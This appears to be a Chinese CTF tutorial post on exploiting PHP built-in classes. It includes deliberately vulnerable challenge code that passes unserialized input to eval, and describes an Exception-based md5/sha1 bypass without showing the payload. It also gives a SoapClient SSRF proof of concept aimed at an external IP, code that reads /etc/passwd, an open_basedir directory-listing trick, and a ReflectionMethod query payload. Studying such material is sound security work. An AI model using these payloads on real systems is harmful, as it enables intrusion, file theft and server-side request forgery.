[php安全]原生類的利用
php原生類的利用
檢視原生類中具有魔法函式的類
$classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' // 可以根據題目環境將指定的方法新增進來, 來遍歷存在指定方法的原生類 ))) { print $class . '::' . $method . "\n"."<br/>"; } } } /** Exception::__wakeup Exception::__toString ErrorException::__wakeup ErrorException::__toString Error::__wakeup Error::__toString ParseError::__wakeup ParseError::__toString TypeError::__wakeup TypeError::__toString ArithmeticError::__wakeup ArithmeticError::__toString DivisionByZeroError::__wakeup DivisionByZeroError::__toString Generator::__wakeup ClosedGeneratorException::__wakeup ClosedGeneratorException::__toString DateTime::__wakeup DateTime::__set_state DateTimeImmutable::__wakeup DateTimeImmutable::__set_state DateTimeZone::__wakeup DateTimeZone::__set_state DateInterval::__wakeup DateInterval::__set_state DatePeriod::__wakeup DatePeriod::__set_state LogicException::__wakeup LogicException::__toString BadFunctionCallException::__wakeup BadFunctionCallException::__toString BadMethodCallException::__wakeup BadMethodCallException::__toString DomainException::__wakeup DomainException::__toString InvalidArgumentException::__wakeup InvalidArgumentException::__toString LengthException::__wakeup LengthException::__toString OutOfRangeException::__wakeup OutOfRangeException::__toString RuntimeException::__wakeup RuntimeException::__toString OutOfBoundsException::__wakeup OutOfBoundsException::__toString OverflowException::__wakeup OverflowException::__toString RangeException::__wakeup RangeException::__toString UnderflowException::__wakeup UnderflowException::__toString UnexpectedValueException::__wakeup UnexpectedValueException::__toString CachingIterator::__toString RecursiveCachingIterator::__toString SplFileInfo::__toString DirectoryIterator::__toString FilesystemIterator::__toString RecursiveDirectoryIterator::__toString GlobIterator::__toString SplFileObject::__toString SplTempFileObject::__toString SplFixedArray::__wakeup ReflectionException::__wakeup ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionType::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionExtension::__toString ReflectionZendExtension::__toString AssertionError::__wakeup AssertionError::__toString DOMException::__wakeup DOMException::__toString PDOException::__wakeup PDOException::__toString PDO::__wakeup PDOStatement::__wakeup SimpleXMLElement::__toString SimpleXMLIterator::__toString CURLFile::__wakeup mysqli_sql_exception::__wakeup mysqli_sql_exception::__toString PharException::__wakeup PharException::__toString Phar::__destruct Phar::__toString PharData::__destruct PharData::__toString PharFileInfo::__destruct PharFileInfo::__toString */
原生類繞 Exception Error 繞過md5/sha1(其實還可以進行xss,可以自行搜尋)
有時候,在題目中出現了反序列化,但是沒有給出具體類,一般不是原始碼洩露再審計,就是利用php的原生類。
[2020 Geek Challenge GreatPHP]
<?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?>
我們的目的就是繞過md5和sha1的校驗,最後執行evilCode。
看到md5和sha1的比較,最先想到的就是利用md5和sha1都無法解析陣列繞過,事實證明確實可以繞過md5和sha1的檢測。但卻無法執行程式碼。除錯發現,eval無法解析陣列變數,並返回錯誤。。。這不就直接卡死在這兒。 強型別匹配,除了利用函式解析漏洞,就只能真的靠md5值真相等了。但直接強行找兩個檔案md5值相等,而且有一個其中還是可以執行的程式碼,我覺得這不太可能把!!!
看了大師傅的WP,發現可以用Exception類進行繞過。
$str = "?>"; 中為什麼要在前面加上一個 ?> 呢?因為 Exception 類與 Error 的 __toString 方法在eval()函式中輸出的結果是不可控的,即輸出的報錯資訊中,payload前面還有一段雜亂資訊“Error: ”
原生類 SoapClient 進行SSRF
SoapClient是php拓展用於發起web請求的工具。它內建一個__call魔術方法,當被觸發時,會進行web訪問請求。這個比較常用
<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 隨便呼叫物件中不存在的方法, 觸發__call方法進行ssrf
?>
原生類進行目錄遍歷
DirectoryIterator
FilesystemIterator
GlobIterator
DirectoryIterator與glob://協議結合將無視open_basedir對目錄的限制,可以用來列舉出指定目錄下的檔案。
原生類進行讀取檔案
<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
使用 ReflectionMethod 類獲取類方法的相關資訊
[2021 CISCN]easy_source
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc=$_GET["rc"]; // 傳入原生類名
$rb=$_GET["rb"]; // 傳入類屬性
$ra=$_GET["ra"]; // 傳入類屬性
$rd=$_GET["rd"]; // 傳入類方法
$method= new $rc($ra, $rb); // 例項化剛才傳入的原生類
var_dump($method->$rd()); // 呼叫類中的方法
利用 PHP 內建類中的 ReflectionMethod 類中的 getDocComment() 方法來讀取 User 類裡面各個函式的註釋。
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
[Refer](https://whoamianony.top/2021/03/10/Web安全/PHP 原生類的利用小結/)